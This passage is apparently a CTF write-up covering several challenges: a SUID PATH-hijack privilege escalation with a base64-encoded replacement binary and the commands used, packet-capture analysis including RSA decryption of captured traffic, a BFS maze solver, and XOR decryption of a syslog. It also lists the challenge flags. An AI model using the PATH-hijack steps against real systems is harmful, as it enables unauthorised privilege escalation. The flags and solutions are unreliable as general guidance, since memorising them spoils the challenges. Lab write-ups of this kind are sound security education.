As a result, I found that it is executing a command md5sum /home/ctf_cracked/flag.txt via popen function.
Also, SUID was set to this file, so this file would be executed as the user ctf_cracked.

To utilize this, I created this program and compiled on CS50 IDE.
This program copies the file specified by the argument to /tmp/out.txt.

copy.c
#include <stdio.h>

int main(int argc, char* argv[]) {
    FILE* fp = argc < 2 ? stdin : fopen(argv[1], "r");
    FILE* fpout = fopen("/tmp/out.txt", "w");
    int c;
    if (fp == NULL || fpout == NULL) {
        if (fp) fclose(fp);
        if (fpout) fclose(fpout);
        return 1;
    }
    while ((c = getc(fp)) != EOF) fputc(c, fpout);
    fclose(fp);
    fclose(fpout);
    return 0;
}

I applied "Gzip -> To Base64" on CyberChef to the compiled binary and
put the file to the server as a file md5sum using base64 and gunzip commands.
Then, I added the directory where this md5sum file is put to the front of the environment variable PATH
and executed the check command.
As a result, a file /tmp/out.txt is generated, and reading this gave me the flag.

cd /tmp
mkdir work
cd /tmp/work
echo H4sIANr04WAA/+1bb2wUxxUf+zA+/p2PgBPHNNhJQTJJvTb/XJvK4DO2WUdnoGAnrQpZzr6zfdL9691esJOGunWJcgI39EPVD41UR/1QpKoS7SciRS2IJORLKaRtSoui0hYUuynEuKWiTWDz3ty89e7cboSqfOu+097b+c28+ft2dmbnvW92h3vKy8oYkY9tZxjKrCyGOwTesM1MAlgrWwH/dWwtWwzhRZZ0Mr9cbud+s5yiXA3eOPDPiXTEqYbIUc6NrmKFLJwFF+QqLGGZXxf1I26V4+XVC1ziY6JixK1yWIXpxmJ4ut3OM6KcCak8DKLcKSF3SqQnPifKIU79iXXEq1X0n8zl6styXxHpZN4l0hGnvt9/XY/+L+XtFXI1IkLmbuV9GeRoSO+HaHj3ifLcxuGQ6H/iNIxNifhgy5amRLQxEU/lxxrHWlsaW7YoubSyyawXloE6tWv3AI7bGcRE83n8ahHG+ANrP17x7KoXfvf88xd+8U79hYor+Z4uygPLxDT0XJBKkD4ssegTY6+yCYEthetS7EJyZCBCzS2hpyxjYKXH4HrAAcfnzQlvdcGzLvljhZzSf8sl/TKX9BtEXWV6EK6VrJYFxURD+sVg3IZwmFrYSEwfYsPpTCzFcno0nmLDmTwiQ4l0LsY0bWgsog3HU5FE/DkMoqCW0yNZXUtGIPWucG/nTm2TsknZyrTe/j4tGsvGRuI5PZbt79uZSKdi/ZHBBEqOJNMpIakVkzomFOOJv+K40n1R7/C3oLf52jgMcTl7UoRJX83nSHTWSQkPCtwv9QuFL+8octSlhVkf5ksLbp1fZyw4nz8FzVnwSgt+x4Kjjpr6IMrHPFBviU6L9JiHVe/PWHB6ppDetuDW+eCiBTd1wSOPPPLII4888sijEvpn1dr/qpP/8KvHKv7YxJh69IxeblxUJ9/wn+PxxtZvAzxvrJ8EVlXH049ixPzsXwzDOMHDuJCcn71khnEhNz971gzjAm5+9ucUhtxe4LnBJk+EG6Xwein8iBSutoZD/QPYhPCx9dsBnjTKjqxSjx3xq1NbH6uCFexrUG5v4Q0IVkNQnWoPIvpjQNXCm31Hr+l90Op84IO2qroOphZuzoxBVLjw/swJ4IXzk3eM/CwEuzdem9nNhT6c6UEOfdRVuHowdOAcZuJHCQXw0OvYHerRG/p7mHQNQB/8driq7jtmf2+80Vu49Ixa+Ks6eW1ub394qqIHRNSpFb9Bwan2BhAxqjsVxv51AoJxuFGnKgaRtd3Rq2Go1uI9DNUS42pVHW4H2TnBIX0bT791E7IN99TCnHr25g717B2fWvaWeumevhoyuA3bYczAb1yFqkE/kjzWb6L9Lu6W809At7a/g7dq4bq+XD3W/i4EZtruGcZMFKr4VsXvIVx2EGRt8rOHIdISDj0dnmrf/ARjoad6C++GBnoLt0P9ocLHA+pU4zqA94c33MUBnEnfhW49e9en1228IuTDhflw4WZX4f2QsfrP6uS5MrXtvfzfse+/Bj0fOhh6JqSdGx5WrP2LmmvqtanJHnnkkUceeeSRRx555JFH/99UBqcuWXaYNenJTFM6ryv6mM7xNb4v4RksP0+ZM4wxPBMGPg18FPhpPHsCfhHxW4ZxCHeJ84aBh0qngavicAnPQHl+z+1jZWPBsjXLK/0nIA5xPGucgzxg0w4HvpX86GsdXFvgeulDw9iLQCDYE6h5smrZYf8E21G77fHN6/hxIMofwHNxSGc9/EQcG3AScLJBQPoCXMfxnAjwnyDQEwgeLw8Fal70dQXqy3NLAzVdgWBnwB/Ck8ji+fPraMcAbeNHd5D+5fLeQM13fd2B+qlF3YGG4xVdgeYXF6uB1snKXYGOVKA1FGgOBRo6A/WdgZpOnhs/z1sE7R2FfKznZx555JFHHnnkkUceeeSRRzKRnR/Z9VntoJGWSwavK8juWqR/WLIfXCPZ49YKTnaEZG9N8bfvGWkuL4zwaA9zURgJkg3e2yKebPt+aLHr5Pa9gldL7SPbvmlhv0c2gLiftO4fycbwIcEnRMGEnxQVo3pfFpxsEKn8tVL7PjKK7YP+5BCcbfLwSyI/OMmk+KLdowgnRPx/RNhqo/hZEtl9y9QsxrtD8L2CH3K1BP50IvvQXTt3bqtvGBjMp/R8fZuyWWlu3PjFPA9uPLKpWWnesqEI30eePug1sue34+Wmnbgd95l253Z8EfuGI15h6qUdX2zqox2vNPXWjvvN8bTjS0w9sONLTX2z48tMvbTj8JQ6jIsPntZ6RzzAMo54FZtwxIPsjCO+0pwH7DiADkbYPrbKtMO346vZIUe82pxX7PiD5nxixx9y1GcfPJ30/NtxmL2sH3FMfMHu247T7Gb9voX2zLeMEn13wVfxOSjIpoX/CxHOW4hflPAGgdP8TLSdl13LakQ9af7o4/el/YPfrDAfmu+J0AiizKGf3er/I55+NdMfLe0fp/Q/E62T6/NLnk/peJ0X6eX6/En0nqw/N3g+peN7CTqk3OG58AH+APaz6Ad6zFYB7uQ38D2Ol+pJE+BO/gGdgAchvaw/vbzcUlqBeHnpc3TQJX3GBX9ZlCvX8xWXdv0U61/+sDkvm/byvF0Lzy9NZ+dFvx0ShQt3A/YaXxrUsnopn++L9OTnxb/BAv2B17P0+fqbSE/zDP+Giv4BLu39SNRfzqcSXvBO7X0UcCc/j3bAnfJnQ+nMuDLEhrJ6Ts+DAdAQW/DP0PSkBl4eqVgOvDOiaW0kkR6MJLSons7mtEh+DISTmURMj0WV1uaWZudE6BsS1yLZbGRci6X07DgbzkaSMS2aTybHQcQS0iClbkuqaT37Qn3dWvfuLvQJsSeIMq3rq7tDfb077THchQQg8AXSulWRg9q1j2m7wns6Q2FtT0/P/u5+rT/UGe7GXLnLylAuz6v6qU4q3AGmo8Pm0xKLRvSIcIexR3FHGSm17B8jR2NmZgvsHjFaNJfWRiOpKHrL9O6BCKiMls/FoCMW2oAdAeHBXE5kw71wuP+OXBY0jXrW1dvG7t9jzwE9g+wIU3LjST0yCFzPFvko3cVTkHeGKam0HlNGUnklk4VKZfVxCzSYj4OrWDwqoFBnb6MeGWE8bjSSG2VKdDwFRRS5ni3GPBvL5uLplC2gQVw2lohgQnGXSehYC+gevFVG0uImFxtiih6DAxuFK4CSTfMhVWKjQjtHo5AbhYp5FHWtKEH3UFQkGYfMiuIwBEyBRyQJuvxZrWPxzYzvQFrfu/l7Wt/bVvq85CPk5m9ofT9aqUWSl/0c8dzJ/q6U3g+SPK1Hicvly/JPw/Vv2CuQPK1bieM6wrqfkusfEXspkqf1LXG/6DCsI96SPO174pJvIa2DidN+za3/vy72QiRP62Xi6I9nrT+lI35E7K0oTOtq4tR/cv2JpkSfkjytv4nTfk/uP2r/D4R8p7R/JE77TQyijCz/qs0Hs9R/WF55yuP/iiRP637i/KzTwX+VOL5vrfK0PyAuL/9l+VOSPO0jiMvLaVke1xFWeVoHEK+2Ou851OdXkjytp4jTdwu3/ntTmj9kB2P5u4Is/2t5/nHxO3aTvyLJ036IeI30wMj6ex2Psq3fO8gPWfgly+lNv03Bb8EFZuumPK3XT96n/F3R9yRv+pULefInp+8ppj8prUdF++XvNdNi4UjPj1v5i0HYKm8qnPiQIOuL3J7l4gMNydO6MugiL4dXivLl7xYk/7jL/GflkooXmyHkx4RiPwIXGN6XzB/4HcrpG9FpfDEB7ZEyl+dfXKY7yVe2ie94koAs/wm/NL2F6EEAAA== | base64 -d > md5sum.gz
gunzip md5sum.gz
ls -l
total 20
-rw-r--r-- 1 ctf ctf 16872 Jul  4 17:52 md5sum
chmod a+x md5sum
export PATH=/tmp/work:$PATH
check
Contact Administrator
cat /tmp/out.txt
CYBERTF{B@sic_PrivEsc_(Anti_Gu3ssing)}
ls -l /tmp/out.txt
-rw-r--r-- 1 ctf_cracked ctf 39 Jul  4 17:53 /tmp/out.txt
CYBERTF{B@sic_PrivEsc_(Anti_Gu3ssing)}

Network

YZY

A file capture.pcapng was given.

Opening with Wireshark and watching, there was a line "HTTP/1.1 200 OK (PNG)" near the end,
so I applied "Follow -> HTTP Stream" to this line.
A PNG data is returned for a HTTP request GET /flag.png HTTP/1.1 there.
I displayed the data in hexadecimal dump and copy-and-pasted the data to CyberChef.
Then, I obtained the PNG data via "From Hexdump -> Extract Files".
The flag was written in the PNG image.

CYBERTF{NETWORK_IS_YZY}

The Mole

Files capture1.pcapng and capture2.pcapng were given.

Opening capture1.pcapng on Wireshark and applying "Follow -> TCP Stream" on a random line gave me this text:

A text from capture1.pcapng
$whoami
garizov
$ls -lah
drwxr-xr-x 1 garizov garizov  512 May 16 16:39 garizov.inf
drwxr-xr-x 1 garizov garizov  1   May 16 16:39 confidential.txt
drwxr-xr-x 1 garizov garizov  1   May 16 16:39 attack_planning.txt
drwxr-xr-x 1 garizov garizov  1   May 16 16:39 attack_plan.txt
drwxr-xr-x 1 garizov garizov  512 Jun 13  2020 .comm_cert
$cat .comm_cert
-----BEGIN RSA PRIVATE KEY-----
MIIBOQIBAAJAdA6LYrTnWaPJ5DSg03uaDH3biN4jfnH1mEqFuZILfHov4/SEdEqu
Gj5/gJ3ypGTbgWUFe9VQGY0LnXN3j6773wIDAQABAkBui0wJAPc8Ut6DF/34cssR
CvCJNc3pKvMb1B/72jhGn24mgbyHyNdxK7xaY0ultnQ/3hmFuT0i/UWXdfGlOTEB
AiEAzqTk8qn/OZ9dfGOUd27JZJxucxvyB9TlY9xH5mMxS1ECIQCPxsE2N5avydWj
UnMhecYCGuwqfTTt7kMH9fGO5aWoLwIgf/2CEQtaGcarkK/c9VyZQMfjYUid0Fv8
+K0nm3s0vQECIFt+Rqvi2hCJp1skd8GAxaHHUiyDuvACZEOnng2qVC3fAiEAkjsZ
bWWZnzPMxFCUq54kXCyqHom1XRAKClNFchnNORA=
-----END RSA PRIVATE KEY-----
$cat garizov.inf
This is an alert. The cyberthreatforce has succeeded in breaking into our system.
Don't let any traces.

Garizov
$cat confidential.txt

$cat attack_planning.txt

$cat attack_plan.txt

$who
agent    tty1         2021-06-06 14:15  old         2225 (:1)
garizov  tty2         2021-06-06 16:15  old         2230 (:1)
$ls /home
Connection Lost

Like this, this text came from capture2.pcapng:

A text from capture2.pcapng
CPrYwDhZMg+jxAWhK3Tu2LCzDPKteChdeXkO72T7BHhpPRtqbXHEcyvmhsmsPyHDjhflEV/BQwD42kYeO9EkfQ==
BfwWKiRIDj5VzWRYck6NUQdF52thWaeLwAdwHXvM/vVd5tZGF0YVWslOr9u/CyZQd3N552Mxtp4o9CaBaD657Q==
YuqH7THelhN0rNwYmBak+bZv20sqTX10O1Kmpc6ncmt91kYm1jxLLsQa157IBqbaSRI205D0/2LLPnoAkgCMGg==
LBKjeMcgIYaQx5cUX9JBQTab6bqFTP7dzTcRMcAy6jle64Q22Zr+JbwwJTvWlhZKT82pbGU/Ux/o2+L5bghhSA==
WHYuGXboak1lY2lKXsrjrurvNcsdbCebk8ebUc4e3eBuoAxlOoHfheYHzKfiC4bibBUmS+YLn5eA/kg/OWkh5w==
DPTFnoyKxcMl4DsfNlKL49msE8Sp7hgbIP1v9P3fe071BEMAl2VgxqCez2R2XvCZo7u8VAJFFmNNTfiO+MJdMw==

I applied "From Base64 -> To Hex -> Parse ASN.1 hex string" on CyberChef to the text between
-----BEGIN RSA PRIVATE KEY----- and -----END RSA PRIVATE KEY-----
in the text obtained from capture1.pcapng. It resulted in this:

SEQUENCE
  INTEGER 00..(total 1bytes)..00
  INTEGER 740e8b62b4e759a3c9e434a0d37b9a0c7ddb88de237e71f5984a85b9920b7c7a2fe3f484744aae1a3e7f809df2a464db8165057bd550198d0b9d73778faefbdf..(total 64bytes)..740e8b62b4e759a3c9e434a0d37b9a0c7ddb88de237e71f5984a85b9920b7c7a2fe3f484744aae1a3e7f809df2a464db8165057bd550198d0b9d73778faefbdf
  INTEGER 010001..(total 3bytes)..010001
  INTEGER 6e8b4c0900f73c52de8317fdf872cb110af08935cde92af31bd41ffbda38469f6e2681bc87c8d7712bbc5a634ba5b6743fde1985b93d22fd459775f1a5393101..(total 64bytes)..6e8b4c0900f73c52de8317fdf872cb110af08935cde92af31bd41ffbda38469f6e2681bc87c8d7712bbc5a634ba5b6743fde1985b93d22fd459775f1a5393101
  INTEGER 00cea4e4f2a9ff399f5d7c6394776ec9649c6e731bf207d4e563dc47e663314b51..(total 33bytes)..00cea4e4f2a9ff399f5d7c6394776ec9649c6e731bf207d4e563dc47e663314b51
  INTEGER 008fc6c1363796afc9d5a352732179c6021aec2a7d34edee4307f5f18ee5a5a82f..(total 33bytes)..008fc6c1363796afc9d5a352732179c6021aec2a7d34edee4307f5f18ee5a5a82f
  INTEGER 7ffd82110b5a19c6ab90afdcf55c9940c7e361489dd05bfcf8ad279b7b34bd01..(total 32bytes)..7ffd82110b5a19c6ab90afdcf55c9940c7e361489dd05bfcf8ad279b7b34bd01
  INTEGER 5b7e46abe2da1089a75b2477c180c5a1c7522c83baf0026443a79e0daa542ddf..(total 32bytes)..5b7e46abe2da1089a75b2477c180c5a1c7522c83baf0026443a79e0daa542ddf
  INTEGER 00923b196d65999f33ccc45094ab9e245c2caa1e89b55d100a0a53457219cd3910..(total 33bytes)..00923b196d65999f33ccc45094ab9e245c2caa1e89b55d100a0a53457219cd3910

Referring
RSA 秘密鍵/公開鍵ファイルのフォーマット - bearmini's blog
I obtained these parameters for RSA encryption:

n = 0x740e8b62b4e759a3c9e434a0d37b9a0c7ddb88de237e71f5984a85b9920b7c7a2fe3f484744aae1a3e7f809df2a464db8165057bd550198d0b9d73778faefbdf
e = 0x010001
d = 0x6e8b4c0900f73c52de8317fdf872cb110af08935cde92af31bd41ffbda38469f6e2681bc87c8d7712bbc5a634ba5b6743fde1985b93d22fd459775f1a5393101

Also, processing the text from capture2.pcapng via CypherChef, I obtained this data:

v1 = 0x08fad8c03859320fa3c405a12b74eed8b0b30cf2ad78285d79790eef64fb0478693d1b6a6d71c4732be686c9ac3f21c38e17e5115fc14300f8da461e3bd1247d
v2 = 0x05fc162a24480e3e55cd6458724e8d510745e76b6159a78bc007701d7bccfef55de6d6461746155ac94eafdbbf0b2650777379e76331b69e28f42681683eb9ed
v3 = 0x62ea87ed31de961374acdc189816a4f9b66fdb4b2a4d7d743b52a6a5cea7726b7dd64626d63c4b2ec41ad79ec806a6da491236d390f4ff62cb3e7a0092008c1a
v4 = 0x2c12a378c720218690c797145fd24141369be9ba854cfeddcd371131c032ea395eeb8436d99afe25bc30253bd696164a4fcda96c653f531fe8dbe2f96e086148
v5 = 0x58762e1976e86a4d6563694a5ecae3aeeaef35cb1d6c279b93c79b51ce1edde06ea00c653a81df85e607cca7e20b86e26c15264be60b9f9780fe483f396921e7
v6 = 0x0cf4c59e8c8ac5c325e03b1f36528be3d9ac13c4a9ee181b20fd6ff4fddf7b4ef5044300976560c6a09ecf64765ef099a3bbbc54024516634d4df88ef8c25d33

I decoded these via Python like this:

vl = [v1, v2, v3, v4, v5, v6]
vd = [pow(v, d, n) for v in vl]
def to_str(n):
  r = ""
  while n > 0:
    r = chr(n & 0xff) + r
    n >>= 8
  return r

vs = [to_str(v) for v in vd]

The last parts which can be read as text of each elements of vs were:

Cyberthreatforce is in.
Hurry up we have to kick them out.
Please take this code.
CYBERTF{D3c0d3_TcP_FL0w}
Log out now !
We have to be fast.

I obtained the flag.

CYBERTF{D3c0d3_TcP_FL0w}

Exfiltration

Five .pcapng files (chall_split[1-4]?\.pcapng) were given.

Applying strings -n 12 command to each files, I found many hexadecimal strings from chall_split3.pcapng.
I applied "From Hex" on CyberChef to some of them that looked like representing ASCII characters,
and the result looked like some part of a PDF file.
Then I collected these hexadecimal strings. Each strings appeared twice in a row, so I took only one of them.
I applied "From Hex" on CyberChef to the collection and the result was a PDF file.
The flag was written in the PDF file.

CYBERTF{Extr@ction_1CMP_W000000000000000000W}

Misc

Return To The School

A TCP server was provided.
The challenge description said that we should determine the shortest path on a maze.

Connecting to the server using Tera Term, It gave me this output:

The output from the server
resolvez le chemain le plus cours
Example:
................................
.A   XX X X   X XXX     XX     .
.AX     X X X   XXXXXXX    XX X.
.AAX   XX    XX XX    X XXXX  X.
.XAXXX  XX X XX     XXXXXXXXX X.
.AAXXXX XXXX XX X XXXXXXX XX   .
.AXX XX      XXXX     X    XXX .
.AXX  X X  XX X   XXX XXX XX   .
.AXAAA XXX XX   XXX       XXX X.
.AAAXAXX   XXXXXXX  XXX   XXX X.
.X XXAAX  XX XXXXXX  XXXX X   X.
.X  XXAXXXX  XX  XXXXX   XXXX X.
.X X  A    X XX XXX    X XXXX X.
.X XX AX  X  X  XXXX X  XXX X X.
.X   XAXXXXX   XX  XXXX  XX   X.
.  XX AA      X X X      XXX   .
.  X  XAXX XXXX X  XXXXXAAA  X .
.XXXXXXAXXXXX X X   XXXAAXAAA  .
.XX  XXAAAAAAAA XXXAAAAA XXXAXX.
.XXX XX X XXXXAAAAAAXXX XX  AAX.
.X      XXXXX    XXXXX  XXXXXAA.
................................
vous devez repondre (ou equivalent)->ENENNEENEESESEEEESEEEEENEEEEEEENNNENNNNNENNEESEENNNNONNENN

a votre tour
............................................................................................
.  XXXXX      XXXXXXXXXXXX  XX XX  XXX   X    X     XXXXXX        X    XXXXXXXXXXXX  XXX   .
.X    XX XXXX     X  XX        XXX   XX X  X XXX X X    XX    XXXXX X      XX   XXXX XX   X.
.X XX  X  XX  XX   X  X XX XXX   X  XX   X XX  X XX  X X   X  XXXXX X XX XXXXX X   X XXXX  .
.   XXXXX XXXXXXX  X    XX  X  X X X   X      XX XXX X    X     X X X  X  X X   X      X  X.
. XXXXX X    XXXXX XX X  XXXXXXXXX X X  X XXX    XX   XXX XXX XXX XXXX  X     X XX XX  X XX.
.   X   X X  XX  X     X XX  X  XX  XXX  XX XXXX XXXXXX     XX X  X XXXXX X X X    XX XX X .
. X  XX    X XXX   X XXX   X XX  XX     XXX X      XXXXXX  XX  X        X X X XXX XXX      .
.XXX    XXXX XX X  X XXX X    X   X  XXX    X XXXX XX  XXX  X  XX XX X   X  XXX   X X X XXX.
.X X X  XXXX X  X X XXXXXX XX    XXX X XXX  XXXX   XX XXX   XX      XX XXX XX  X XX X  XXXX.
.X  XXX X  X X XX X X XXXXXXXXXX   X X XX    X XX XXX XXX  XXXXX X XXX  X  XX    XX XXXX  X.
.X XX X  X   X          X      XXX      XXX      XX    XX   XX    XXX    XXX  XXXXX        .
.X X  XX X XX  XXXXXXXXX X  X X XXX X X     XXXXXXXXXX    X  X  XX XX X X XX  X     X  X X .
.    XXXXX  XX  XXX    X X XX     XXXXX XX      XX XXXXX  XX   X X XX  X  XXX X XX   XX  X .
.XX XXX XXX  X  XXX X    X  XX XX XX  X  X X  XXX  XX  X X XXX X   X    X X   X  X XXXXXXX .
.    X  XXXXX  XXX  XXX XXX XX X       X XXX XXXX XXX        X    X  XX      XXXXX  XXXXXX .
. XX   XX XXXX XXXX XXXXXX  XX X  X XX X XXXXXX   XX  X X XXX X XXX XXX X XX X XXX X XXXX  .
.   XX         XXX     X   X XX      X X    X  X   XX  XX X   XXXX  XXXXX X    XX  X   X  X.
. X XXXXXX X XXX XX XX XXXX  X  X   XX    X X X  X X  XX  X  X   XXXXX XXX  X  XXXXXX XXX  .
.XXX XXX  XX XXX  X XXXXX XX XXX  XX     XX X XX X XX X    X   XXXXXX   XXXXXX XXXX X    X .
.  X      XX X XX   XXXXX  X XX    XXX XXXX X   X   X XX X   XXX  X X XXX  XXX  XXX   X    .
.    X XXXXX X XXXX XX    X   X X   XXXXX   X   XXX   X XX X  XXX   X     XXXX XX X XXX  X .
.XX XX X X X     XX X  XX   XXX XXXX XX X X  X XXX X     XXXX      X X XXXXXX  XX X  X   XX.
.X  XX     X X    X  X X XX XXX XX X    X X     X     XX XX XX X XX  X        XXX   XXXXX X.
.XXXX  XXX   XXX   X     X  X   XX   XX X XXXX  X XX   XXX   XX  XXX XXXXXX XXXXX X  X XX X.
. XXX    X XX XX X  XX XXXX   X    X XXXX  XXXXX    XXXXXX  X XX  XX XXX XX X     XX X    X.
. XXXXX X   X XX X  XXXXX    X XXX  XXXXXXXX XXX X   XX  XX   X X XX X      X XXXXXX XX X  .
.  XXXX XX  X   XX  XXXXX X XX  XXX  X XXXX   X  XX  XX X       X XX XX XX    X XXXX  X XX .
.  XXX XXX X  X X       XX  XX   XXX X   XX X X XXX XX  XXXXXXX   X  X  XX XX   XXXX  X XX .
.X   X X  XX X  X XXXXXXX  XXX X  X    X  XXX XX       XXXXX XX X   XXXXXX  X X XXXX XXXX  .
. XX X   XXXX  X    XXXXX XXX   X XXX   X     XXX X XXX   XX XXXXXX X XXXX   X  XX   X  X X.
. XX XX  XXXX    XX     X     X  X  X XXXXX XXX   XX X  X XX     XX X  XX  X  X XXXXX X   X.
.      X X XX      XXXXXXX  XXXX   XX  XXXX XX  X        XXX XX  XXXXX XX XX X    XXX   XX .
.X XXX      XX   X   XXX  XXX XX  X XX X   XXXXXXX  XXX   XXXXX      X XXXXX  X X    XX  X .
.X X   XX X    X XX X  X   X   XX   X  X X X X XX XXX      XX XX XXX X X     XXXXX X     X .
.X X X  X XX X X  XXXX X XXXX XXX XXXX X X X   XX XXX X X  XX XX  XX   X X X X XX    X     .
. X   X  X X X XX XXXX   XXX   X  XXX XX XXXX     X XX  XX XX  XX X  X   XXXXX XX X XX XX  .
. XX  XX   X  XXX  XXX X   XXX   XXXX  X    X  XX   XX XXX X X     X  X  X XXX    X  XX    .
. XXXXXX X  X XXX    XXX X XXXXXXXX   XXXXX   X XX X    XX   XX  X XXXXXXX   XX XXX XX  X  .
.  XXXXXXX   X    XX  XX  XXX     XX  XX XXX XX XXXXXX X   XXXX XXXXXXX  X X X  XX  XX X  X.
.  XX XXXX X  X XXXXX    XX XXX XXXX XX  XX  X  XXXX X XXX XX XXXXXXX  X X XXXX XX    XXX  .
. X        XXXX    XXX XXX  XXX  X    X XX  XX         XXX    X XX    XX   XXX   XXX XXXXX .
. X   X XX  XXX X  XX X XX XXXXX XX X   XXX X  XXX X X XX  X       XX     XX   X  XX     XX.
. X  XXXX  XX   XXX     X  X         X      XXXXXX  XX X X  XX X X   X  X   X X     XXX   X.
.    X  XXXX  XXXXXX   XX XXX XXX XX  XXX XXXXXXXX XXX X  XXX  XXXXXXXX X X  XXXXXX X  X   .
.  XXXX XXXXX   XX XXX         XX  XXXXXX  X XX XX XX  XX XX  XXXX   XX  XX XX  XXXXXX   X .
. XX XX XXX    XX   X XXXXXXX XX X XXX     X       XXX XX XX X     XXX  XX X XX   X     XX .
.  X XX X   XX XX X X XX X        XX  XX XXXX X  X  X     XX XXXX XX   XXX      X   X X XXX.
. X  X    XX XXXXXX   XX   XXX XXXXXX XX       X XXX  XX   X  XX   X XX    XX X  X   XX   X.
.X  XX XXX X XXXXX X XX X  XXX XXX    XX  X XXX    X XXXXX  XXXXX  XX   XX  XXX XX X  XXX X.
. X X  XXX    X  X X    X XXXXXXX  X  X X  XXX  XX  X     XX X     X X  XX XXXX XXX   XXXX .
.   X       X XX   XXX        X   XXX     XXXXXXXX XX X XXX    XX    XX XX   XX XXXXX   X  .
. X X X XXX X XX X XX  XXXXXX X  X XXX X  XXX       X XXX   X  X   X  XX XX X X   XXXXX   X.
. X   XX    X XX  X     XXX    X     XXX XX XXX XXX    X  XXX  X   X  XX       X    X   XXX.
.X   XXX XX  XXXX  XX X  X  XXXXXXX XXXX    XXXXXXXXX XXXXXXX X  XXXX  X XXXXX  XXX XXX XXX.
.  XX XXXXX XX   X   X  X       X X    XX  XXX   X      XXX   X  XXXXX   XXX   X XXXXXX X  .
.X     XXXX X     X  X X  X X XX   XXX XX XXX  X  XXXXX X   XXX  X XXXXX  X  X    XX       .
.   XX XX   XX XXXX     XX   X      XXX     X   X XXXXXX  X   XXXX     X   X XX  XXXX X XX .
.XX X  XXX X      X XXX XXXX XXXX   X X XXX   X  XXX  X     X  XX  XXX   X X XX    XXXX  X .
. X XX X     XX X X  XX    X  XXX X      X  X XX X   XXXX X XX  XXXXXXXXX  XX   X X  XX XXX.
.    XX   XXX   X    XXXX XXX   X XXX XXXXXXXXX  XXX      X XXX XXX         XX XX   X      .
............................................................................................

The Example suggested me:

  • The path should go from the lower right corner to the upper left corner without moving on . nor X blocks.
  • E represents "go left", O represents "go right", N represents "go up", and S represents "go down".

OK, this looks like a common problem in competitive programming.
One point is that we should use O, not W, to represent "go down", and it can easily be overlooked because the Example contains this case only once.

I implemented Breadth First Search.

A program to determine the shortest path
solve.cpp
#include <iostream>
#include <vector>
#include <string>
#include <queue>

const int d[4][2] = {
    {1, 0}, {-1, 0}, {0, 1}, {0, -1}
};
const char d_name[] = "SNOE";

struct status {
    int y, x;
    status(int y_ = 0, int x_ = 0) : y(y_), x(x_) {}
};

int main(void) {
    std::vector<std::string> map;
    const std::string key = "a votre tour";
    std::string line;
    bool reading = false;
    while (std::getline(std::cin, line)) {
        if (reading) {
            if (!line.empty()) {
                map.push_back(line);
            }
        } else if (line == key) {
            reading = true;
        }
    }
    std::vector<std::vector<int> > dir;
    for (size_t i = 0; i < map.size(); i++) {
        dir.push_back(std::vector<int>(map[i].size()));
    }
    std::queue<status> q;
    q.push(status(map.size() - 2, map[map.size() - 2].size() - 2));
    dir[map.size() - 2][map[map.size() - 2].size() - 2] = 5;
    while (!q.empty()) {
        status s = q.front();
        q.pop();
        for (int i = 0; i < 4; i++) {
            int ny = s.y + d[i][0], nx = s.x + d[i][1];
            if(map[ny][nx] == ' ' && dir[ny][nx] == 0) {
                dir[ny][nx] = i + 1;
                q.push(status(ny, nx));
            }
        }
    }
    std::string res = "";
    for (int y = 1, x = 1; 1 <= dir[y][x] && dir[y][x] <= 4;) {
        int cur_dir = dir[y][x] - 1;
        res = d_name[cur_dir] + res;
        y -= d[cur_dir][0];
        x -= d[cur_dir][1];
    }
    std::cout << res << '\n';
    return 0;
}

I calculated the shortest path via this program and sent, resulting in receiving

Vous avez mis plus de 10s

It sounds like the result should be returned within 10 seconds.

I succeeded in returning the result within the time limit and obtain the flag using these thoughts:

  • Open a file to paste the input data sent from the server on a text editor before connecting to the server.
  • Type the command to the terminal before connecting to the server, requiring only to press the Enter key after saving the input data to obtain the shortest path.
CYBERTF{M@ze_Mast3r}

Forensic

Usb Key Cemetery

A file auth.json and an encrypted syslog file syslog.enc were given.
Also, the challenge description said:

the logs starts on June 7th 22:53:25 Flag format: CYBERTF{Serial Number of the usb rubber ducky}

To begin with, I searched for the output format of syslog.
【再入門】syslogとは?ログの管理と転送方法についてわかりやすく解説します! | カゴヤのサーバー研究室
suggested me that there will be date and time like Aug 10 19:30:19.
Applying this format to the date and time in the challenge description, it becomes Jun 7 22:53:25.

Applying XOR on CyberChef to syslog.enc with this formatted date and time used as Key (UTF-8),
the top became WE ARE APT403WEJ_].
Seeing this, I got the syslog data by applying XOR to syslog.enc with the Key WE ARE APT403 (UTF-8).

In this case, I wanted to search for Serial Number.
Therefore, noting the SerialNumber in the data, I searched for SerialNumber in a text editor and checked.
As a result, I found this suspicious part:

Apr 12 20:21:25 kali kernel: [    1.830063] usb 1-2: Product: Fake_KeyBoard
Apr 12 20:21:25 kali kernel: [    1.830064] usb 1-2: Manufacturer: APT43.
Apr 12 20:21:25 kali kernel: [    1.830065] usb 1-2: SerialNumber: 854be9ee57ef47ce74e73904998d61c8846e9239

I obtained the flag by putting SerialNumber here to the Flag format.

CYBERTF{854be9ee57ef47ce74e73904998d61c8846e9239}

misc

Synopsis

The challenge description:

Put the flag that was present in the synopsis

The flag is written in an image on the "Synopsis" page in the site to introduce this CTF, so I typed that with care not to cause typo.

CYBERTF{7349621064380}
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0